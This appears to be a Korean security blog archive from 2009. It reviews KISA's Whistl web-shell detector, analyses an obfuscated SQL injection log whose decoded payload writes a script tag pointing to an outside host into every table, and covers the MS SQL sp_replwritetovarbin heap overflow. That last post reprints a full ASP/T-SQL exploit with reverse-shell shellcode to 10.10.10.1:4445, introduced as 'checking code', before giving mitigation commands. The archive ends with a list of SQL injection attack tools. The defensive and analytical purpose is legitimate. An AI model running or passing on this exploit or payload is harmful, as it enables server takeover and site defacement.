원격에서 인터넷 익스플로러를 통해 피해 서버의 파일, 폴더를 자유자재로 조작할 수 있게 된다. (윈도우 탐색기를 원격으로 사용하는 셈이다.)

사용자 삽입 이미지

 - 웹쉘을 통해 인터넷 익스플로러만으로도 대상 서버의 파일, 폴더를 훤히 제어할 수 있다. (이런게 가능하다니 신기하기까지 하다.)

 

나 역시도 이 웹쉘 때문에 한동안은 쌩고생과 삽질을 해야 했다.

내노라 하는 백신 프로그램, 방화벽 프로그램 등을 통해 어느 정도 걷어내긴 했지만, 수십만개나 되는 윈도우 전체 파일을 하나하나 뒤져

웹쉘 소스가 사입된 걸 찾아내기란 삽질도 그런 삽질이 따로 없다.

 

결국 '언발에 오줌누는' 격으로 지금까지 웹쉘의 근본을 뿌리 뽑지 못하고 근근히 버티고 있던 터였다.

이처럼 충분한 웹 보안 장비를 마련할 수 없는 우리네 중소기업을 위해 '한국정보보호진흥원(이하 KISA)'에서는 다양한 정보와 툴을 제공하고 있다.

특히 KISA의 부설 센터인 '인터넷침해사고 대응지원센터(www.krcert.or.kr)'를 통해 무료 배포되는 웹 방화벽 프로그램인 '웹나이트' 역시 효율적으로 외부로부터의 공격을 차단해주어 '가뭄에 단비' 역할을 하고 있다.

('웹나이트' 웹방화벽 프로그램에 대해서도 조만간 포스팅 하도록 하겠다.)  

 

KISA에서 우리같은 '중생'을 구제하기 위해 무료 공급하는 보안 프로그램이 두어개 더 있다.

하나는 서버 내 유입된 악성코드를 탐지해 주는 'MC-Finder'와 웹쉘 탐지용으로 최근에 배포된 'Whistl'이 그것. (편의상 Whistl은 '휘슬'로 표기하겠다.) 두 프로그램은 KISA와 보안 업체 개발자들이 모여 자체 개발한 순수 국산 무료 보안 프로그램이다.

 

무료라 해서 그냥 막 퍼주는 건 아니고, 인터넷침해사고 대응지원센터 홈페이지에서 신청양식을 다운로드 받아 이를 작성하여 관계자에게 메일로 신청해야 한다. 센터에 따르면 대기업이나 관공서 등보다는 주로 중소기업체를 대상으로 우선 배포한다 했다.

신청양식 문서는 이 포스트에 게시하였으니 다운, 작성 후 각각 mcfinder@krcert.or.krwhistl@krcert.or.kr로 발송 후 기다리면 된다.

 

이 포스트에서는 웹쉘 소스 탐지 프로그램인 '휘슬'에 대해 살펴보기로 한다.

사용신청서를 보낸 후 사용 적격으로 판정되면 하루 이틀 사이에 휘슬 설치 파일을 받을 수 있다.

휘슬은 현재 리눅스(커널 v2.4, 2.6)와 윈도우 운영체계만 지원하며, 실행 후 센터에서 함께 알려 준 아이디와 패스워드를 입력해야 최종 사용이 가능하다.

 

지원센터에서 보낸 파일은 총 2개다. 프로그램 압축 파일계정 인증을 위한 bin 파일(validate.bin)이다.

즉 프로그램 압축 파일을 푼 폴더에 인증용 bin 파일을 복사해 둬야 계정 로그인이 가능하다.

 

설치 압축 파일을 풀면 리눅스용과 윈도우용 압축 파일이 나오고 이 중 윈도우용 프로그램을 실행하면 된다.

프로그램은 설치하는 방식이 아니라 단발식 실행 방식이다.

 

whistl.exe 파일을 실행하면 아래와 같이 로그인 화면이 나오고, 센터에서 받은 계정을 입력하면 된다.

(계정은 회사 이름으로 정해지더라.)

사용자 삽입 이미지


로그인에 성공하면 제일 먼저 패턴 업데이트를 수행해야 한다. (업데이트는 자동 업데이트 설정이 가능하다.)


사용자 삽입 이미지


위와 같이 패턴 업데이트를 완료하면 이제 웹서버의 소스 파일 폴더를 지정하여 탐지를 시작한다.

윈도우 2000/2003 웹서버 환경이라면 대게 ASP 파일로 구성되겠지만, '휘슬'에서는 PHP나 JSP도 지원하고 있으므로

아래 화면과 같이 '환경설정' 메뉴에서 소스 파일 유형을 선택할 수도 있다.



사용자 삽입 이미지

자 이제 실제로 웹쉘 코드가 침투한 소스 파일이 있는지 떨린 마음으로 검색해 본다.

우리 회사 서버 환경은 윈도우2003의 IIS 기반 다중 웹서버에 소스 파일 서버를 따로 두어 폴더 공유를 하고 있다.

다행히도 휘슬은 웹서버의 로컬 폴더 뿐 아니라 원격공유 폴더도 검색할 수 있다. 

사용자 삽입 이미지

위 그림에서 C:\는 웹서버 로컬, Z:\는 소스 파일 서버의 공유 폴더다.

[검사시작] 버튼을 누르면 아래 그림과 같이 실제 스캔 작업이 진행된다. 

사용자 삽입 이미지


검사를 마친 나는 결과를 보고 경악하지 않을 수 없었다. 나름대로 유수의 백신, 보안 프로그램으로 항상 체크하고 점검하고 있는데

위와 같이 웹쉘 소스가 유입된 파일이 11개가 나왔다. 어쩐지 잊을만 하면 한번씩 툭툭 증상이 나타나곤 하더라... 덴장...

 

휘슬은 해당 소스 파일에 유입된 웹쉘 소스도 분석할 수 잇도록 '파일보기' 기능을 넣어 두었다.

실제로 위 그림에서 하나의 파일을 선택 후 '파일보기'를 선택하면...

사용자 삽입 이미지


이렇게 나온다. 이 암호화된 웹쉘 소스가 특정 asp 파일에 떡하니 삽입되어 있으니 일반 백신으로는 잡아내지 못한다.

실제로 위 소스가 어떻게 작동하는지는 모르겠지만, 일단 악성 코드 패턴에 해당되는 내용이니 해당 asp 파일을 열어 남김없이 삭제해야 하겠다.

특히 위 검색 결과 그림에서 '7개 이상'의 웹쉘 코드가 발견된 파일은 집중 관리 대상이 되겠다. (결과 화면의 '수준' 탭에 나타난다.)

 

이 정도만 잡아낼 수 있으면 서버 관리자나 개발자에게 한결 수월하다. 현재 전체 서버에는 K사의 백신을 실시간으로 실행하고 있지만,

저렇게 이미 잡입돼 숨어있는 소스는 찾아내지 못하고 있다. (이런 툴을 무상 배포하는 KISA에 다시 한번 감사의 뜻을 전한다.)

 

이 밖에 휘슬은 주기적으로 웹쉘 소스를 탐색하도록 예약 검사도 지원하고 있다

사용자 삽입 이미지

이 휘슬은 앞서 언급한 '웹나이트' 웹방화벽과 함께 운영할 수 있다. 현재 우리 회사 환경에서도 그리 적용하여 운영중이다.

또한 감염 수정된 asp 파일은 따로 검염소로 격리 보관하며 유입 패턴과 소스 분석이 가능하도록 하고 있으며,

해당 감염 파일을 KISA 측으로 송부하여 신고하는 기능도 제공하고 있다.

 

일단 휘슬로 급한 불을 끌 수 있어 한시름 놓게 됐다. (요즘 '불' 얘기 하기가 좀 거시기 하다...)

물론 그렇다고 이것만 믿고 마냥 손놓고 있어도 안될 것이라 역시 관리자의 지속적인 관심과 주의가 필요할 것이다.

아울러 일주일에 한두번 정도는 KISA나 지원센터 홈페이지를 방문해 최신 보안 정보도 습득하는 습관도 필요하겠다.

 

한동안 우리 서버에서도 극성을 부리던 악성 코드와 웹쉘 프로그램이 지금은 다소 누그러진 추세다.

기존에 사용하던 웹나이트 웹방화벽도 최신 버전으로 교체했고, 앞서 말한 MC-Finder와 휘슬을 통해 매일매일 점검하며,

비교적 공신력 높다는 K사 백신으로도 매일 체크하면서 파일 상태를 모니터링 하고 있기 때문인 듯 하다.

역시 '시스템 보안'은 이를 관리하는 관리자의 보안 의식과 관심에서 시작됨을 다시 한번 통감하는 요즘이다.

 

2009/05/20 18:15 2009/05/20 18:15
http 에서 화일에 대한 정체 / 지연 / 문제 부분을 분석하는 툴입니다.

System Requirements:

Windows XP, Vista or 2003/2008 Server

Internet Explorer 6, 7, 8 Beta 2 or Mozilla Firefox 2.0, 3.0, 3.1 Beta 2

사용자 삽입 이미지

http://www.httpwatch.com/download/ 에서 다운 받으실수 있을겁니다.

2009/05/19 21:28 2009/05/19 21:28
본 글은 isc.sans.org에 올라온 글을 참조해서 재구성한 것이다.
다음 로그는 공격로그의 한 부분이다. 공격 로그 중 SQL 구문이 GET 부분에 들어가 있는 것을 볼 수 있다.

GET /home/site_content_3.asp

s=290';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x6400650063006C00610072006500200040006D00200076006100720063006800610072002800380030003000300029003B00730065007400200040006D003D00270027003B00730065006C00650063007400200040006D003D0040006D002B0027007500700064006100740065005B0027002B0061002E006E0061006D0065002B0027005D007300650074005B0027002B0062002E006E0061006D0065002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C0027002B0062002E006E0061006D0065002B002700290029002B00270027003C0073006300720069007000740020007300720063003D00220068007400740070003A002F002F0079006C00310038002E006E00650074002F0030002E006A00730022003E003C002F007300630072006900700074003E00270027003B0027002000660072006F006D002000640062006F002E007300790073006F0062006A006500630074007300200061002C00640062006F002E0073007900730063006F006C0075006D006E007300200062002C00640062006F002E007300790073007400790070006500730020006300200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D0027005500270061006E006400200062002E00780074007900700065003D0063002E0078007400790070006500200061006E006400200063002E006E0061006D0065003D002700760061007200630068006100720027003B00730065007400200040006D003D005200450056004500520053004500280040006D0029003B00730065007400200040006D003D0073007500620073007400720069006E006700280040006D002C0050004100540049004E004400450058002800270025003B00250027002C0040006D0029002C00380030003000300029003B00730065007400200040006D003D005200450056004500520053004500280040006D0029003B006500780065006300280040006D0029003B00%20AS%20NVARCHAR(4000));EXEC(@S);--


위에서 보다시피 실제 구문은 인코딩되어 있어 금방은 알 수 없게 했다.
공격자는 CAST 구분을 사용해서 공격을 쉽게 탐지하지 못하도록 혼란 공격(Obfuscate Attack) 기법을 사용하고 있다.
CAST 구문은 타입을 다른 타입으로 Convert 시켜주는 역할을 한다.
CAST 된 구문은 "@S"의 Input 되고 실행이 된다.

이 코드를 아래 펄 명령어를 사용해서 디코딩한 것이 다음과 같다.

$ perl -pe 's/(..)00/chr(hex($1))/ge' < input > output


[디코딩 결과]

declare @m varchar(8000);set @m='';select @m=@m+'update['+a.name+']set['+b.name+']=rtrim(convert(varchar,'+b.name+'))+''<script src="http://yl18.net/0.js"></script>'';'
from dbo.sysobjects a,dbo.syscolumns b,dbo.systypes c where a.id=b.id and a.xtype='U'and b.xtype=c.xtype and c.name='varchar';
set @m=REVERSE(@m);set @m=substring(@m,PATINDEX('%;%',@m),8000);set @m=REVERSE(@m);exec(@m);


이 SQL 구문은 sysobject 테이블을 type U(User) 테이블의 모든 row를 가져오는 것이다.
결국 각 오브젝트에 yl18.net. 사이트 주소 코드를 추가하도록 업데이트 명령을 실행 시키는 구문이다.
이 공격을 받은 웹 사이트는 IIS와 MS SQL 서버가 설치된 경우이다. 특히 주목할 것이 바로 Evading을 하기 위해서 CAST나 CONVERT 명령어를 쓴다는데 유의해야 한다.

[원문]

Published: 2008-01-09,
Last Updated: 2008-01-09 09:05:44 UTC
by Bojan Zdrnja (Version: 1)
http://isc.incidents.org/diary.html?storyid=3823
2009/05/19 20:45 2009/05/19 20:45
두번째 시리즈로 SQL Injection 공격 중의 하나인 Signature Evasion 시연 동영상입니다. 예전에는 로그온하는 화면에서 비밀번호를 몰라도 우회해 들어가는 방법과 유사합니다.

Signature Evasion에 대한 자료는 아래 링크를 참고하세요.

http://www.infosec.co.uk/ExhibitorLibrary/383/WP_SQL_Injection_Protection_LK_20.pdf
2009/05/19 20:36 2009/05/19 20:36
최근 보안 기업으로 유명한 Imperva에서 SQL Injection 공격 중 하나의 Blindfolded SQL 인젝션 공격의 동영상을 유튜브에 공개했습니다.




Blindfolded SQL Injection은 SQL 서버와 같이 데이터베이스 서버에서 질의(Query)를 하나하나 집어 넣어 시연하면서 오류가 발생하는 상태를 보아 가면서 오류가 없도록 해가면서 공격해 가는 기법입니다.

이에 대한 자세한 정보는 아래 링크를 참고하십시오.

http://ttongfly.net/zbxe/?document_srl=42603

 

2009/05/19 20:36 2009/05/19 20:36

지난 12월 9일에 번하드 뭴러(Bernhard Mueller)는 악의를 가진 사용자가 권한을 탈취할 수 있는 취약점을 MS SQL 서버에서 발견했습니다. 

이 취약점은 "sp_replwritetovarbin()"이라는 확장 스토어 프로시저(Extended SP)를 구현하는 과정에서 메모리의 경계를 제대로 처리하지 못해 발생합니다. 이로 인해 교묘하게 조작된 코드를 사용하여 힙에 관련된 버퍼 오버플로 공격을 성공시킬 수 있습니다.


취약점이 있는 제품은 다음과 같습니다.

* MS SQL Server 2000 SP4

* MS SQL Server 2000 IA64 SP4

* MS SQL Server 2005 SP2

* MS SQL Server 2005 IA64 SP2

* MS SQL Server 2005 Express Edition SP2

* MS SQL Server 2005 Express Edition Advanced Services SP2

* MS SQL Server Desktop Engine (MSDE 2000) SP4

* MS SQL Server Desktop Engine (WMSDE)

* Windows Internal Database (WYukon) SP2


취약점이 없는 제품은 다음과 같습니다.

* MS SQL Server 7.0 SP4

* MS SQL Server 2005 SP3

* MS SQL Server 2005 x64 SP3

* MS SQL Server 2005 IA64 SP3

* MS SQL Server 2008

* MS SQL Server 2008 IA64

* MS SQL Server 2008 x64

한 편 이 취약점을 이용하는 공격 코드가 인터넷에 공개되어 있으며 아래 코드는 취약점이 있는지 확인할 수 있는 샘플 코드입니다.

  • // k`sOSe 12/17/2008
  • <%// Microsoft SQL Server "sp_replwritetovarbin()" Heap Overflow
  • // Tested on Win2k SP4 with MSSQL 2000(on one box only!).
  • // Shellcode is a slightly modified metasploit reverse shell(on 10.10.10.1 port 4445),
  • // the change allows multiple shots :)
  • //
  • // You need a valid SQL account, but you can also use this through an SQL-Injection simply by injecting the T-SQL stuff.
  • // Take a look at the comments in T-SQL
  • On Error Resume Next
  • // change this
  • UserName = "r00t"
  • Password = "t00r"
  • // ########################################### FIRST QUERY
  • SQL = "DECLARE @buf NVARCHAR(4000),             "&_
  • "@val NVARCHAR(4),                      "&_
  • "@counter INT                           "&_
  • "SET @buf = '                           "&_
  • "declare @retcode int,                      "&_
  • "@end_offset int,                       "&_
  • "@vb_buffer varbinary,                      "&_
  • "@vb_bufferlen int                      "&_  
  • "exec master.dbo.sp_replwritetovarbin 120, @end_offset output, @vb_buffer output, @vb_bufferlen output,''' "&_
  • "SET @val = CHAR(0x41)                      "&_
  • "SET @counter = 0                       "&_
  • "WHILE @counter < 3020                      "&_
  • "BEGIN                              "&_
  • "  SET @counter = @counter + 1                  "&_
  • "  IF @counter = 2900                       "&_ 
  • "  BEGIN                            "&_
  • "    SET @val =  CHAR(0x43)                 "&_
  • "  END                              "&_
  • "  ELSE IF @counter = 299                   "&_
  • "  BEGIN                            "&_
  • "    SET @val =  CHAR(0x42)                 "&_
  • "  END                              "&_
  • "  ELSE IF @counter = 300                   "&_
  • "  BEGIN                            "&_
  • "     /* First byte overwritten here. This is a random writable address */  "&_
  • "     SET @buf = @buf + CHAR(0x44) + char(0xc0) + char(0x4c) + CHAR(0x19) "&_
  • "     CONTINUE                          "&_
  • "  END                              "&_
  • "  SET @buf = @buf + @val                   "&_
  • "END                                "&_
  • "SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''   "&_
  • "EXEC master..sp_executesql @buf"
  • // ########################################### SECOND QUERY
  • SQL2 = "DECLARE @buf NVARCHAR(4000),                "&_
  • "@val NVARCHAR(4),                      "&_
  • "@counter INT                           "&_
  • "SET @buf = '                           "&_
  • "declare @retcode int,                      "&_
  • "@end_offset int,                       "&_
  • "@vb_buffer varbinary,                      "&_
  • "@vb_bufferlen int                      "&_  
  • "exec master.dbo.sp_replwritetovarbin 120, @end_offset output, @vb_buffer output, @vb_bufferlen output,''' "&_
  • "SET @val = CHAR(0x41)                      "&_
  • "SET @counter = 0                       "&_
  • "WHILE @counter < 3097                      "&_
  • "BEGIN                              "&_
  • "  SET @counter = @counter + 1                  "&_
  • "  IF @counter = 2900                       "&_ 
  • "  BEGIN                            "&_
  • "    SET @val =  CHAR(0x43)                 "&_
  • "  END                              "&_
  • "  ELSE IF @counter = 299                   "&_
  • "  BEGIN                            "&_
  • "    SET @val =  CHAR(0x42)                 "&_
  • "  END                              "&_
  • "  ELSE IF @counter = 300                   "&_
  • "  BEGIN                            "&_
  • "     /* Second byte overwritten here */            "&_
  • "     SET @buf = @buf + CHAR(0x45) + char(0xc0) + char(0x4c) + CHAR(0x19) "&_
  • "     CONTINUE                          "&_
  • "  END                              "&_
  • "  SET @buf = @buf + @val                   "&_
  • "END                                "&_
  • "SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''   "&_
  • "EXEC master..sp_executesql @buf"
  • // ########################################### THIRD QUERY
  • SQL3 = "DECLARE @buf NVARCHAR(4000),                "&_
  • "@val NVARCHAR(4),                      "&_
  • "@counter INT                           "&_
  • "SET @buf = '                           "&_
  • "declare @retcode int,                      "&_
  • "@end_offset int,                       "&_
  • "@vb_buffer varbinary,                      "&_
  • "@vb_bufferlen int                      "&_  
  • "exec master.dbo.sp_replwritetovarbin 120, @end_offset output, @vb_buffer output, @vb_bufferlen output,''' "&_
  • "SET @val = CHAR(0x41)                      "&_
  • "SET @counter = 0                       "&_
  • "WHILE @counter < 3021                      "&_
  • "BEGIN                              "&_
  • "  SET @counter = @counter + 1                  "&_
  • "  IF @counter = 2900                       "&_ 
  • "  BEGIN                            "&_
  • "    SET @val =  CHAR(0x43)                 "&_
  • "  END                              "&_
  • "  ELSE IF @counter = 299                   "&_
  • "  BEGIN                            "&_
  • "    SET @val =  CHAR(0x42)                 "&_
  • "  END                              "&_
  • "  ELSE IF @counter = 300                   "&_
  • "  BEGIN                            "&_
  • "     /* Third byte overwritten here */             "&_
  • "     SET @buf = @buf + CHAR(0x46) + char(0xc0) + char(0x4c) + CHAR(0x19) "&_
  • "     CONTINUE                          "&_
  • "  END                              "&_
  • "  SET @buf = @buf + @val                   "&_
  • "END                                "&_
  • "SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''   "&_
  • "EXEC master..sp_executesql @buf"
  • // ########################################### FOURTH QUERY
  • SQL4 = "DECLARE @buf NVARCHAR(4000),                "&_
  • "@val NVARCHAR(4),                      "&_
  • "@counter INT                           "&_
  • "SET @buf = '                           "&_
  • "declare @retcode int,                      "&_
  • "@end_offset int,                       "&_
  • "@vb_buffer varbinary,                      "&_
  • "@vb_bufferlen int                      "&_  
  • "exec master.dbo.sp_replwritetovarbin 120, @end_offset output, @vb_buffer output, @vb_bufferlen output,''' "&_
  • "SET @val = CHAR(0x41)                      "&_
  • "SET @counter = 0                       "&_
  • "WHILE @counter < 2708                      "&_
  • "BEGIN                              "&_
  • "  SET @counter = @counter + 1                  "&_
  • "  IF @counter = 2900                       "&_ 
  • "  BEGIN                            "&_
  • "    SET @val =  CHAR(0x43)                 "&_
  • "  END                              "&_
  • "  IF @counter = 108                        "&_
  • "  BEGIN                            "&_
  • "     /* this is the pointer we wrote - 0x38. It points to a CALL ECX */    "&_
  • "    SET @buf = @buf + CHAR(0x10) + CHAR(0xc0) + CHAR(0x4c) + CHAR(0x19) "&_
  • "     /* realign code */                        "&_
  • "    SET @buf = @buf + CHAR(0xe1)               "&_
  • "     /* realign the stack */                   "&_
  • "    SET @buf = @buf + CHAR(0x83) + CHAR(0xe4) + CHAR(0xfc) "&_
  • "     /* jump ahead */                      "&_
  • "    SET @buf = @buf + CHAR(0xe9) + CHAR(0xba) + CHAR(0x00) + CHAR(0x00) + CHAR(0x00) "&_
  • "    SET @counter = @counter + 12               "&_
  • "    CONTINUE                           "&_
  • "  END                              "&_
  • "  ELSE IF @counter = 299                   "&_
  • "  BEGIN                            "&_
  • "    SET @val =  CHAR(0x42)                 "&_
  • "  END                              "&_
  • "  ELSE IF @counter = 300                   "&_
  • "  BEGIN                            "&_
  • "     /* Fourth byte overwritten here */            "&_
  • "     SET @buf = @buf + CHAR(0x47) + char(0xc0) + char(0x4c) + CHAR(0x19) "&_
  • "     /* reverse shell on 10.10.10.1:4445 */            "&_
  • "     SET @buf=@buf+CHAR(0xfc)+CHAR(0x6a)+CHAR(0xeb)+CHAR(0x4d)+CHAR(0xe8)+CHAR(0xf9)+CHAR(0xff)
  • +CHAR(0xff)+CHAR(0xff)+CHAR(0x60)+CHAR(0x8b)+CHAR(0x6c)+CHAR(0x24)+CHAR(0x24)+CHAR(0x8b)
  • +CHAR(0x45)+CHAR(0x3c)+CHAR(0x8b)+CHAR(0x7c)+CHAR(0x05)+CHAR(0x78)+CHAR(0x01)+CHAR(0xef)
  • +CHAR(0x8b)+CHAR(0x4f)+CHAR(0x18)+CHAR(0x8b)+CHAR(0x5f)+CHAR(0x20)+CHAR(0x01)+CHAR(0xeb)
  • +CHAR(0x49)+CHAR(0x8b)+CHAR(0x34)+CHAR(0x8b)+CHAR(0x01)+CHAR(0xee)+CHAR(0x31)+CHAR(0xc0)
  • +CHAR(0x99)+CHAR(0xac)+CHAR(0x84)+CHAR(0xc0)+CHAR(0x74)+CHAR(0x07)+CHAR(0xc1)+CHAR(0xca)
  • +CHAR(0x0d)+CHAR(0x01)+CHAR(0xc2)+CHAR(0xeb)+CHAR(0xf4)+CHAR(0x3b)+CHAR(0x54)+CHAR(0x24)
  • +CHAR(0x28)+CHAR(0x75)+CHAR(0xe5)+CHAR(0x8b)+CHAR(0x5f)+CHAR(0x24)+CHAR(0x01)+CHAR(0xeb)
  • +CHAR(0x66)+CHAR(0x8b)+CHAR(0x0c)+CHAR(0x4b)+CHAR(0x8b)+CHAR(0x5f)+CHAR(0x1c)+CHAR(0x01)
  • +CHAR(0xeb)+CHAR(0x03)+CHAR(0x2c)+CHAR(0x8b)+CHAR(0x89)+CHAR(0x6c)+CHAR(0x24)+CHAR(0x1c)
  • +CHAR(0x61)+CHAR(0xc3)+CHAR(0x31)+CHAR(0xdb)+CHAR(0x64)+CHAR(0x8b)+CHAR(0x43)+CHAR(0x30)
  • +CHAR(0x8b)+CHAR(0x40)+CHAR(0x0c)+CHAR(0x8b)+CHAR(0x70)+CHAR(0x1c)+CHAR(0xad)+CHAR(0x8b)
  • +CHAR(0x40)+CHAR(0x08)+CHAR(0x5e)+CHAR(0x68)+CHAR(0x8e)+CHAR(0x4e)+CHAR(0x0e)+CHAR(0xec)
  • +CHAR(0x50)+CHAR(0xff)+CHAR(0xd6)+CHAR(0x66)+CHAR(0x53)+CHAR(0x66)+CHAR(0x68)+CHAR(0x33)
  • +CHAR(0x32)+CHAR(0x68)+CHAR(0x77)+CHAR(0x73)+CHAR(0x32)+CHAR(0x5f)+CHAR(0x54)+CHAR(0xff)
  • +CHAR(0xd0)+CHAR(0x68)+CHAR(0xcb)+CHAR(0xed)+CHAR(0xfc)+CHAR(0x3b)+CHAR(0x50)+CHAR(0xff)
  • +CHAR(0xd6)+CHAR(0x5f)+CHAR(0x89)+CHAR(0xe5)+CHAR(0x66)+CHAR(0x81)+CHAR(0xed)+CHAR(0x08)
  • +CHAR(0x02)+CHAR(0x55)+CHAR(0x6a)+CHAR(0x02)+CHAR(0xff)+CHAR(0xd0)+CHAR(0x68)+CHAR(0xd9)
  • +CHAR(0x09)+CHAR(0xf5)+CHAR(0xad)+CHAR(0x57)+CHAR(0xff)+CHAR(0xd6)+CHAR(0x53)+CHAR(0x53)
  • +CHAR(0x53)+CHAR(0x53)+CHAR(0x43)+CHAR(0x53)+CHAR(0x43)+CHAR(0x53)+CHAR(0xff)+CHAR(0xd0)
  • +CHAR(0x68)+CHAR(0x0a)+CHAR(0x0a)+CHAR(0x0a)+CHAR(0x01)+CHAR(0x66)+CHAR(0x68)+CHAR(0x11)
  • +CHAR(0x5d)+CHAR(0x66)+CHAR(0x53)+CHAR(0x89)+CHAR(0xe1)+CHAR(0x95)+CHAR(0x68)+CHAR(0xec)
  • +CHAR(0xf9)+CHAR(0xaa)+CHAR(0x60)+CHAR(0x57)+CHAR(0xff)+CHAR(0xd6)+CHAR(0x6a)+CHAR(0x10)
  • +CHAR(0x51)+CHAR(0x55)+CHAR(0xff)+CHAR(0xd0)+CHAR(0x66)+CHAR(0x6a)+CHAR(0x64)+CHAR(0x66)
  • +CHAR(0x68)+CHAR(0x63)+CHAR(0x6d)+CHAR(0x6a)+CHAR(0x50)+CHAR(0x59)+CHAR(0x29)+CHAR(0xcc)
  • +CHAR(0x89)+CHAR(0xe7)+CHAR(0x6a)+CHAR(0x44)+CHAR(0x89)+CHAR(0xe2)+CHAR(0x31)+CHAR(0xc0)
  • +CHAR(0xf3)+CHAR(0xaa)+CHAR(0x95)+CHAR(0x89)+CHAR(0xfd)+CHAR(0xfe)+CHAR(0x42)+CHAR(0x2d)
  • +CHAR(0xfe)+CHAR(0x42)+CHAR(0x2c)+CHAR(0x8d)+CHAR(0x7a)+CHAR(0x38)+CHAR(0xab)+CHAR(0xab)
  • +CHAR(0xab)+CHAR(0x68)+CHAR(0x72)+CHAR(0xfe)+CHAR(0xb3)+CHAR(0x16)+CHAR(0xff)+CHAR(0x75)
  • +CHAR(0x28)+CHAR(0xff)+CHAR(0xd6)+CHAR(0x5b)+CHAR(0x57)+CHAR(0x52)+CHAR(0x51)+CHAR(0x51)
  • +CHAR(0x51)+CHAR(0x6a)+CHAR(0x01)+CHAR(0x51)+CHAR(0x51)+CHAR(0x55)+CHAR(0x51)+CHAR(0xff)
  • +CHAR(0xd0)+CHAR(0x68)+CHAR(0xad)+CHAR(0xd9)+CHAR(0x05)+CHAR(0xce)+CHAR(0x53)+CHAR(0xff)
  • +CHAR(0xd6)+CHAR(0x6a)+CHAR(0xff)+CHAR(0xff)+CHAR(0x37)+CHAR(0xff)+CHAR(0xd0)+CHAR(0x68)
  • +CHAR(0xe7)+CHAR(0x79)+CHAR(0xc6)+CHAR(0x79)+CHAR(0xff)+CHAR(0x75)+CHAR(0x04)+CHAR(0xff)
  • +CHAR(0xd6)+CHAR(0xff)+CHAR(0x77)+CHAR(0xfc)+CHAR(0xff)+CHAR(0xd0)+CHAR(0x68)+CHAR(0xef)
  • +CHAR(0xce)+CHAR(0xe0)+CHAR(0x60)+CHAR(0x53)+CHAR(0xff)+CHAR(0xd6)      "&_
  • "     CONTINUE                          "&_
  • "  END                              "&_
  • "  SET @buf = @buf + @val                   "&_
  • "END                                "&_
  • "SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''   "&_
  • "EXEC master..sp_executesql @buf"
  • Set oConnection = Server.CreateObject("ADODB.Connection")
  • oConnection.Open "Provider=SQLOLEDB; Data Source=; Initial Catalog=; User ID=" & UserName & "; Password=" & Password
  • Set rs = Server.CreateObject("ADODB.Recordset")
  • phase = Request.Querystring("p")
  • if phase then
  • if phase = 1 then
  •         rs.open SQL3, oConnection
  •         rs.close
  •         oConnection.Close
  • Set oConnection = Nothing
  •         Response.Redirect("sql-exploit.asp?p=2")
  • elseif phase = 2 then
  •         rs.open SQL4, oConnection
  •         rs.close
  •         oConnection.Close
  • Set oConnection = Nothing
  •         Response.Redirect("sql-exploit.asp?p=3")
  • end if
  • Else
  •     rs.open SQL, oConnection
  •     rs.close
  •     oConnection.Close
  • Set oConnection = Nothing
  • Set oConnection = Server.CreateObject("ADODB.Connection")
  •     oConnection.Open "Provider=SQLOLEDB; Data Source=; Initial Catalog=; User ID=" & UserName & "; Password=" & Password
  • Set rs = Server.CreateObject("ADODB.Recordset")
  •     rs.open SQL2, oConnection
  •     rs.close
  •     oConnection.Close
  • Set oConnection = Nothing
  •     Response.Redirect("sql-exploit.asp?p=1")
  • end if
  • %>
  •  현재 취약점을 해결하는 패치가 제공되고 있지 않으므로 다음과 같이 sp_replwritetovarbin() 프로시저를 실행하지 않도록 제거하는 것이 좋습니다.

    execute dbo.sp_dropextendedproc 'sp_replwritetovarbin'

    참고자료: SP를 제거하는 방법

     또한 sp_replwritetovarbin() 프로시저를 액세스하지 못하도록 아래와 같이 명령어를 실행해도 됩니다. 명령어는 관리자 권한에서 실행해야 합니다.

    use master

    deny execute on _replwritetovarbin to public

    참고자료: http://www.microsoft.com/technet/security/advisory/961040.mspx

    감사합니다.

    2009/05/19 20:31 2009/05/19 20:31
    널리 알려지고 안전하다고 생각되는 사이트만을 방문한다고 한다면 '안티 바이러스' 즉 백신이 필요없을까요?

    또한, 최신 서비스팩이나 업데이트를 하지 않더라도 컴퓨터에 아무런 문제가 발생하지 않을까요?

    아래의 소식은 유명하고, 안전할거라고 여겨지는 사이트에서 해킹을 당하여 방문자들이 악성코드 피해를 입을 수 있는 가능성을 보여 주고 있습니다. 항상 안티 바이러스를 생활화해야 할 것입니다.


    최근 웹 공격이 많아지면서 대형 포탈 뿐만 아니라 유명한 웹 사이트들이 종종 해킹당하는 사태가 벌어지고 있습니다. 지난 주에 발생한 어도비(Adobe) 웹사이트의 해킹 소식을 전합니다.

    보안 기업으로 유명한 소포스(Sophos) 사는 어도비 웹사이트에 방문한 사람들이 악성 코드에 감염될 수 있었다고 밝혔다.

    소포스는 이러한 문제를 확인하고 지속적으로 어도비에 연락을 취하였으며 지난 주 목요일까지 악성 코드가 웹사이트에 그대로 방치되었다고 한다.

    웹 사이트에서 비디오 블러거를 위한 팁을 제공하는 'Vlog IT support centre section' 부분에 'Mal/Badsrc-C'라는 악성 코드가 존재했다고 합니다. Mac/Badsrc-C 악성 코드는 SQL 인젝션 공격을 이용하여 여러 컴퓨터에 널리 감염시키는 위험한 코드이며, 인터넷에서 악성 스크립트를 다운로드하여 실행되면 사용자 PC에 스파이웨어가 설치됩니다.

    하지만, 아직까지 어도비 사에서는 명확한 답변을 하지 않고 있습니다.

    2009/05/19 20:30 2009/05/19 20:30
    11. SQL Power Injection Injector - 이 프로그램은 웹페이지에서 SQL 명령어를 삽입하는 테스트를 수행합니다. 멀티 스레드 방식으로 블라인드 SQL Injection 공격을 자동화하여 실행합니다. 다운로드 

    12. FJ-Injector Framework - 웹 애플리케이션에 SQL Injection 취약점이 있는지 검사하기 위해 디자인된 오픈 소스 무료 프로그램입니다. HTTP 요청을 가로쳐서 변경하기 위한 프록시 기능도 제공합니다. SQL Injection 익스플로잇을 자동화하여 수행합니다. 다운로드

    13. SQLNinja - MS SQL 서버를 백 엔드 데이터베이스로 사용하는 웹 애플리케이션의 SQL Injection 취약점을 익스플로잇하는 도구입니다. 다운로드

